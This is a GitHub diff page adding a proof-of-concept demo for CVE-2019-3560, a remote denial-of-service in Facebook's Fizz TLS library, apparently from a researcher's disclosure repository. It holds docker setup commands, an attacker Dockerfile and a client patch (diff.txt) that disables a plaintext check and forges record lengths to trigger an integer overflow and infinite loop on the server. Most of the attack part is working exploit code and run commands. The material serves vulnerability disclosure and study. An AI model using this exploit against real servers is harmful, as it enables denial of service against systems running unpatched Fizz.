Skip to content
This repository was archived by the owner on Dec 18, 2019. It is now read-only.
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
80 changes: 80 additions & 0 deletions Facebook/Fizz/CVE-2019-3560/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,80 @@
# Remote DOS in Facebook Fizz (CVE-2019-3560)

[Fizz](https://github.com/facebookincubator/fizz) contains a remotely triggerable infinite loop. It is due to an integer overflow in this [compound assignment](https://github.com/facebookincubator/fizz/blob/eaa81af854bef509c3c1d7c83df0cd0b084a0fef/fizz/record/PlaintextRecordLayer.cpp#L42). For more details about the bug, see this [blog post](https://lgtm.com/blog/facebook_fizz_CVE-2019-3560).

The scenario for the demo is that there are two computers, named "fizz-server" and "fizz-attacker". The attacker sends a malicious message which triggers an infinite loop on the server. The demo uses [docker](https://www.docker.com/) to simulate the two computers. See below for instructions.

## Network setup

Create a docker network bridge, to simulate a network with two separate computers.

```
docker network create -d bridge --subnet 172.18.0.0/16 fizz-demo-network
```

## Server setup

Build the docker image:

```
docker build server -t fizz-server --build-arg UID=`id -u`
```

Start the container:

```
docker run --rm --network fizz-demo-network --ip=172.18.0.10 -i -t fizz-server
```

If you want to be able to debug the fizz server, then you need to start the container with some extra command line arguments:

```
docker run --rm --network fizz-demo-network --ip=172.18.0.10 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -i -t fizz-server
```

Inside the container, run this script to create some certs:

```
cd ~/certs
./create-certs.sh
```

Start the server:

```
~/fizz/build_/bin/fizz server -accept 1443 -cert ~/certs/server-cert.pem -key ~/certs/server-key.pem
```

Note: TLS servers normally listen on port 443, rather than 1443. But root privileges are required to listen on 443, so you need to run the above command with `sudo` if you want to change the port number to 443. The `sudo` password in this docker container is "x".

## Attacker setup

Build the docker image:

```
docker build attacker -t fizz-attacker --build-arg UID=`id -u`
```

Start the container:

```
docker run --rm --network fizz-demo-network --ip=172.18.0.11 -i -t fizz-attacker
```

Send the malicious message to the server:

```
./poc/poc 172.18.0.10 1443
```

The source code for the PoC can be found in `poc.c`.

### Original PoC

The original PoC, which I sent to Facebook when I first reported the vulnerability, is far less polished than `poc.c`, above. But it may be of interest because it shows how I tweaked the Fizz client to send the malicious message. The changes which I made can be found in `diff.txt`. (These changes were already applied during the `docker build` step, above.) You can run this version of the PoC like this:

```
~/fizz/build_/bin/fizz client -connect 172.18.0.10:1443
```

This command will not return because it is waiting for a response from the server, which will never come. But you can just ctrl-C it, and the server will continue to be stuck in an infinite loop.
58 changes: 58 additions & 0 deletions Facebook/Fizz/CVE-2019-3560/attacker/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
FROM ubuntu:bionic

RUN apt-get update && \
apt-get install -y \
sudo tmux screen emacs git gdb net-tools g++ cmake \
libboost-all-dev libevent-dev libdouble-conversion-dev \
libgoogle-glog-dev libgflags-dev libiberty-dev liblz4-dev \
liblzma-dev libsnappy-dev make zlib1g-dev binutils-dev \
libjemalloc-dev libssl-dev pkg-config libsodium-dev

ARG UID=1000

# Create a non-root user account to run Fizz.
RUN adduser attacker --disabled-password --uid $UID

# Grant the 'attacker' user sudo access. This is not used for the
# demo, but it is often handy for installing extra packages.
RUN adduser attacker sudo
RUN echo "attacker:x" | chpasswd
COPY home/ /home/attacker/
RUN chown -R attacker:attacker /home/attacker

# Switch over to the 'attacker' user, since root access is no longer required
USER attacker
WORKDIR /home/attacker

# Build the PoC
RUN cd poc && make

# The original PoC used a modified version of Fizz. So we need to
# clone and build Folly, which Fizz depends on.
RUN git clone https://github.com/facebook/folly && \
cd folly && \
git checkout df5a0575d95f3c2cc9200b15e40db4af82e1f2eb && \
mkdir build_ && cd build_ && \
cmake .. && \
make -j $(nproc)

# Install Folly.
USER root
RUN cd /home/attacker/folly/build_ && make install
USER attacker

# Build the original PoC, which I sent to Facebook when I first
# reported the vulnerability. It is a modified version of Fizz. (Note
# the `git apply` immediately after the `git checkout`.)
RUN git clone https://github.com/facebookincubator/fizz && \
cd fizz && \
git checkout eaa81af854bef509c3c1d7c83df0cd0b084a0fef && \
git apply ~/diff.txt && \
mkdir build_ && cd build_ && \
cmake ../fizz && \
make -j $(nproc)

# Install modified Fizz.
USER root
RUN cd /home/attacker/fizz/build_ && make install
USER attacker
75 changes: 75 additions & 0 deletions Facebook/Fizz/CVE-2019-3560/attacker/home/diff.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,75 @@
diff --git a/fizz/client/ClientProtocol.cpp b/fizz/client/ClientProtocol.cpp
index 8804de7..82bdbbd 100644
--- a/fizz/client/ClientProtocol.cpp
+++ b/fizz/client/ClientProtocol.cpp
@@ -450,7 +450,7 @@ static ClientHello getClientHello(
chlo.extensions.push_back(encodeExtension(std::move(modes)));
}

- if (earlyDataParams) {
+ if (true || earlyDataParams) {
chlo.extensions.push_back(encodeExtension(ClientEarlyData()));
}

@@ -1186,6 +1186,8 @@ Actions EventHandler<
} else {
encodedClientHello = encodeHandshake(std::move(chlo));
handshakeContext->appendToTranscript(encodedClientHello);
+ encodedClientHello->reserve(0, 0x11000);
+ encodedClientHello->append(0x11000);
}

auto earlyDataType = state.earlyDataType() == EarlyDataType::Attempted
@@ -1194,7 +1196,7 @@ Actions EventHandler<

WriteToSocket clientFlight;
auto chloWrite =
- state.writeRecordLayer()->writeHandshake(encodedClientHello->clone());
+ state.writeRecordLayer()->writeAppData(encodedClientHello->clone());

bool sentCCS = state.sentCCS();
folly::Optional<client::Action> ccsWrite;
diff --git a/fizz/client/FizzClientContext.h b/fizz/client/FizzClientContext.h
index 9def034..7508098 100644
--- a/fizz/client/FizzClientContext.h
+++ b/fizz/client/FizzClientContext.h
@@ -220,7 +220,7 @@ class FizzClientContext {
SignatureScheme::rsa_pss_sha256};
std::vector<NamedGroup> supportedGroups_ = {NamedGroup::x25519,
NamedGroup::secp256r1};
- std::vector<NamedGroup> defaultShares_ = {NamedGroup::x25519};
+ std::vector<NamedGroup> defaultShares_ = {NamedGroup::secp521r1};
std::vector<PskKeyExchangeMode> supportedPskModes_ = {
PskKeyExchangeMode::psk_dhe_ke,
PskKeyExchangeMode::psk_ke};
diff --git a/fizz/record/PlaintextRecordLayer.cpp b/fizz/record/PlaintextRecordLayer.cpp
index e33ef9e..ce33252 100644
--- a/fizz/record/PlaintextRecordLayer.cpp
+++ b/fizz/record/PlaintextRecordLayer.cpp
@@ -112,22 +112,24 @@ TLSContent PlaintextWriteRecordLayer::writeInitialClientHello(
TLSContent PlaintextWriteRecordLayer::write(
TLSMessage msg,
ProtocolVersion recordVersion) const {
+#if 0
if (msg.type == ContentType::application_data) {
throw std::runtime_error("refusing to send plaintext application data");
}
+#endif

auto fragment = std::move(msg.fragment);
folly::io::Cursor cursor(fragment.get());
std::unique_ptr<folly::IOBuf> data;
while (!cursor.isAtEnd()) {
Buf thisFragment;
- auto len = cursor.cloneAtMost(thisFragment, kMaxPlaintextRecordSize);
+ auto len = cursor.cloneAtMost(thisFragment, 0x20000);

auto header = folly::IOBuf::create(kPlaintextHeaderSize);
folly::io::Appender appender(header.get(), kPlaintextHeaderSize);
appender.writeBE(static_cast<ContentTypeType>(msg.type));
appender.writeBE(static_cast<ProtocolVersionType>(recordVersion));
- appender.writeBE<uint16_t>(len);
+ appender.writeBE<uint16_t>(len < 0x1000 ? len : 0x10000-kPlaintextHeaderSize);

if (!data) {
data = std::move(header);
2 changes: 2 additions & 0 deletions Facebook/Fizz/CVE-2019-3560/attacker/home/poc/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
poc: poc.c
gcc -o poc poc.c
Loading